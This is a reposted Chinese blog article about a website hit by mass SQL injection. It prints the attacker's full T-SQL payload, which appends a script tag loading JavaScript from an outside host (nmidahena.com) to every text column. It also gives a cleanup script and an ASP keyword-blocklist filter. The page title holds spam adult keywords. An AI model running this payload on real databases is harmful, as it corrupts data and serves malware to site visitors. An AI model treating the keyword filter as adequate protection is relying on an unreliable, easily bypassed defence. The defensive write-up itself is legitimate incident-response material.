狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

sql注入【轉】

admin
2011年2月28日 11:22 本文熱度 2778

最近客戶的網站被 注入了<script src=http://www.nmidahena.com/1.js></script>。整個網站的數據庫基本上都在內容的后面加入了 <script src=http://www.nmidahena.com/1.js></script>


經分析,網站不止一次被注入。


在網上查詢 了一些資料,注入的SQL語句是這樣的:


===============================================


DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR
FOR
select a.name, b.name
from   sysobjects a,syscolumns b
where  a.id = b.id
 and a.xtype = 'u'
 and ( b.xtype = 99
 or b.xtype = 35
 or b.xtype = 231
 or b.xtype = 167
 )
OPEN Table_Cursor
 FETCH NEXT FROM Table_Cursor INTO @T, @C
 WHILE( @@FETCH_STATUS = 0 )
 BEGIN
 exec
  ( 'update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,['
  + @C + ']))+''<script src=http://www.nmidahena.com/1.js></script>''' )


  FETCH NEXT FROM Table_Cursor INTO @T, @C
 END
CLOSE Table_Cursor


DEALLOCATE Table_Cursor


==============================================


數據庫里的varchar,nvarchar,ntext這些類型的字段基本上都被感染。


更無恥的就是,如果字段的大小過小,他會把原有的內容刪掉。而保存完整的<script src=http://www.nmidahena.com/1.js></script>。很多數據都被破壞了。


花了一天的功夫終于寫出來清除這些小尾巴的方法:


===============================================


DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR
FOR
select a.name, b.name
from   sysobjects a,syscolumns b
where  a.id = b.id
 and a.xtype = 'u'
 and ( b.xtype = 99
 or b.xtype = 35
 or b.xtype = 231
 or b.xtype = 167
 )
OPEN Table_Cursor
 FETCH NEXT FROM Table_Cursor INTO @T, @C
 WHILE( @@FETCH_STATUS = 0 )
BEGIN
exec


 ('update [' + @T + '] set [' + @C + '] = ( case  when
 ( CHARINDEX(''<script'', [' + @C + '])>0)
 then
 left( rtrim(convert(nvarchar,['+ @C + '])), CHARINDEX(''<script'', ['+ @C + '] )-1)
else
 [' + @C + ']
end )


')


FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor


DEALLOCATE Table_Cursor


==============================================


這里CHARINDEX(''<script'', ['+ @C + '] ) 是因為有很多字段被多次感染,成了<script src=<script src=http://www.nmidahena.com/1.js></script>這樣的內容。所以以<script 為標志,全部刪除。這樣可能會刪除一些合法的,但是沒辦法。。。如果要清理干凈。必須得這么做。


做完以為,對網站進行一下SQL的重點過濾:


==========FilterSqlAttack.asp==============


<%
Call FilterSqlAttack()
Sub FilterSqlAttack()
 dim sql_leach,sql_leach_0,Sql_DATA,SQL_Get,Sql_Post
 sql_leach = "and,exec,insert,select,delete,update,count,*,%,chr,mid,master,truncate,char,declare"
 sql_leach_0 = split(sql_leach,",")
 
 If Request.QueryString<>"" Then
  For Each SQL_Get In Request.QueryString
   For SQL_Data=0 To Ubound(sql_leach_0)
    if instr(LCase(Request.QueryString(SQL_Get)),sql_leach_0(SQL_Data))>0 Then
     Response.Write "請不要嘗試進行SQL注入!"
     Response.end
    end if
   next
  Next
 End If
 
 
 If Request.Form<>"" Then
  For Each Sql_Post In Request.Form
   For SQL_Data=0 To Ubound(sql_leach_0)
    if instr(LCase(Request.Form(Sql_Post)),sql_leach_0(SQL_Data))>0 Then
     Response.Write "請不要嘗試進行SQL注入!"
     Response.end
    end if
   next
  next
 end if


 If Request.Cookies<>"" Then
  For Each Sql_Post In Request.Cookies
   For SQL_Data=0 To Ubound(sql_leach_0)
    if instr(LCase(Request.Cookies(Sql_Post)),sql_leach_0(SQL_Data))>0 Then
     Response.Write "含有非法字符,已記錄IP"
     Response.end
    end if
   next
  next
 end if
End Sub
%>


==========================


本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/RyanGT/archive/2008/04/08/2260742.aspx


該文章在 2011/2/28 11:22:20 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved